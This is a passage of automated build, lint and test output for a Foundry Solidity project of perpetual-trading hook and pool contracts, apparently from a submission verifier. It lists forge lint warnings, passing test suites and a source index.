━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:157:9\n    │\n157 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:174:9\n    │\n174 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:188:9\n    │\n188 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:260:9\n    │\n260 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:271:32\n    │\n271 │         if (toFeeAddress != 0) SafeTransferLib.forceSafeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:272:9\n    │\n272 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:207:21\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:47\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:55\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:73\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:81\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:71\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:79\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:212:13\n    │\n212 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:60\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:68\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:447:43\n    │\n447 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n448 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n449 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:244:60\n    │\n244 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:24\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:32\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:47\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:55\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":218,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 384.92µs (0.00ns CPU time)\n\nRan 6 tests for test/IMD6900Band.t.sol:IMD6900BandTest\n[PASS] test_CorrectionBeyondBandStillAllowedWithNestedSwap() (gas: 976653)\n[PASS] test_EngineAndBandExemptSwapsKeepTheirExemptionAndPayStaticFee() (gas: 668626)\n[PASS] test_PostTradeLiquidationCannotBypassBuyBand() (gas: 901791)\n[PASS] test_PostTradeLiquidationCannotBypassSellBand() (gas: 940231)\n[PASS] test_PreTradeLiquidationStillPreservesBand() (gas: 1113489)\n[PASS] test_SmallTradeAndPostTradeLiquidationStillSucceed() (gas: 1125328)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 16.16ms (3.67ms CPU time)\n\nRan 10 tests for test/IMD6900Reference.t.sol:IMD6900ReferenceTest\n[PASS] test_BondingCurvePriceRemainsReadable() (gas: 26404)\n[PASS] test_BondingReserveRevertAndMalformedReturnLeaveTradingOpen() (gas: 739227)\n[PASS] test_EachExternalReferenceReadMayFailWithoutBlockingTrades() (gas: 2798933)\n[PASS] test_GraduatedFactoryRevertDisablesBandButNotTrading() (gas: 812545)\n[PASS] test_GraduatedReferenceInversionAndMathFailureAreCaught() (gas: 903760)\n[PASS] test_GraduatedReferenceRemainsReadableAndBandStaysActive() (gas: 887701)\n[PASS] test_MalformedGraduatedRecordDisablesBandButNotTrading() (gas: 813650)\n[PASS] test_ReferenceRecoveryAutomaticallyRestoresBand() (gas: 554981)\n[PASS] test_ReferenceWithoutCodeLeavesTradingOpen() (gas: 403335)\n[PASS] test_ZeroReservesOrOverflowingReferenceLeaveTradingOpen() (gas: 1043741)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 18.52ms (7.79ms CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 272860)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231672)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405794)\n[PASS] test_OpensAtThePrice() (gas: 53519)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11157)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185623)\n[PASS] test_TradesBothWays() (gas: 409340)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 18.63ms (1.31ms CPU time)\n\nRan 8 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 6145399)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 14212697)\n[PASS] test_FeeMetadataCannotDriftFromStaticPoolFee() (gas: 183160)\n[PASS] test_FeeMetadataSupportsStaticFeesBelowOnePercent() (gas: 37530)\n[PASS] test_FitsOneTransaction() (gas: 5984975)\nLogs:\n  launch and factory execution gas (mining included): 5778035\n  gas including conservative intrinsic allowance: 6113979\n  hook salts tried: 13465\n\n[PASS] test_PassesTheAdmissionScan() (gas: 7163759)\n[PASS] test_RefusesADynamicFee() (gas: 4568)\n[PASS] test_RefusesUnrepresentableOrOutOfRangeFee() (gas: 4524)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 26.08ms (89.17ms CPU time)\n\nRan 7 tests for test/IMD6900LiquidityAccounting.t.sol:IMD6900LiquidityAccountingTest\n[PASS] testFuzz_AddKeepsFeesAndRefundsOnlyUnusedPrincipal(uint96,uint96) (runs: 256, μ: 1999710, ~: 1994383)\nLogs:\n  Bound result 264345437132039218\n  Bound result 1091397957747729812\n\n[PASS] test_AddRefundsPrincipalWhenFeesAreLessThanBothLegs() (gas: 1970505)\n[PASS] test_AddRefundsPrincipalWhenFeesExceedBothLegs() (gas: 1977510)\n[PASS] test_AddRefundsSeparateRecipientWithOneSidedFees() (gas: 692003)\n[PASS] test_CollectedFeesAreNotRefundedAgainOnTheNextAdd() (gas: 2365152)\n[PASS] test_CompoundReinvestsPendingFeesAndReportsPrincipal() (gas: 3674640)\n[PASS] test_RemoveStillPaysPrincipalPlusFeesAndOwnerCanDisableBrokenEngine() (gas: 2627985)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 130.13ms (129.12ms CPU time)\n\nRan 6 test suites in 130.99ms (209.91ms CPU time): 38 tests passed, 0 failed, 1 skipped (39 total tests)\n","passed":true},{"durationMs":43,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.lowerFee(uint256)\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setPerpFeeBps(uint256)\",\"IMD6900PerpHook.setSkim(uint256,uint256)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":84,\"README.md\":103,\"foundry.toml\":25,\"launch.json\":15,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":467,\"src/IMD6900PerpPool.sol\":250,\"src/IMD6900PerpsLaunch.sol\":76,\"test/IMD6900Band.t.sol\":144,\"test/IMD6900LiquidityAccounting.t.sol\":172,\"test/IMD6900Perps.t.sol\":230,\"test/IMD6900PerpsLaunch.t.sol\":175,\"test/IMD6900Reference.t.sol\":171,\"test/RobinhoodFlow.fork.t.sol\":299},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"5bfa08b51b56fbe93720dfac782b965a14de4bedab507bfa3ccb83003d2d2e0f","verifiedTreeHash":"d02902a1d1f5304c1e7340466f7ac4cffceaba82","verifierVersion":"0.1.0+fdeb4d4a"},{"checks":[{"durationMs":26537,"exitCode":0,"name":"build","output":"Compiling 86 files with Solc 0.8.26\nSolc 0.8.26 finished in 26.41s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:38:29\n   │\n38 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n39 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n40 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:74:14\n   │\n74 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:77:25\n   │\n77 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:79:9\n   │\n79 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:259:9\n    │\n259 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:93:22\n   │\n93 │     function setHook(address hook_) external onlyOwner {\n   │                      ━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:96:9\n   │\n96 │         emit HookSet(hook_);\n   │         ━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:99:28\n   │\n99 │     function setPerpEngine(address engine) external onlyOwner {\n   │                            ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:101:9\n    │\n101 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:174:44\n    │\n174 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:174:63\n    │\n174 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:116:9\n    │\n116 │         SafeTransferLib.forceSafeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:215:9\n    │\n215 │         emit FeeLowered(newFeeBps);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:106:95\n    │\n106 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:21\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:220:9\n    │\n220 │         emit PerpFeeSet(bps);\n    │         ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:118:9\n    │\n118 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:67\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:225:28\n    │\n225 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:227:9\n    │\n227 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:232:9\n    │\n232 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:240:9\n    │\n240 │         emit SkimSet(skimBps_, maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:245:9\n    │\n245 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:248:31\n    │\n248 │     function updateFeeAddress(address feeAddress_) external onlyOwner {\n    │                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:251:9\n    │\n251 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:128:9\n    │\n128 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:35\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:19\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:141:9\n    │\n141 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:135:9\n    │\n135 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: 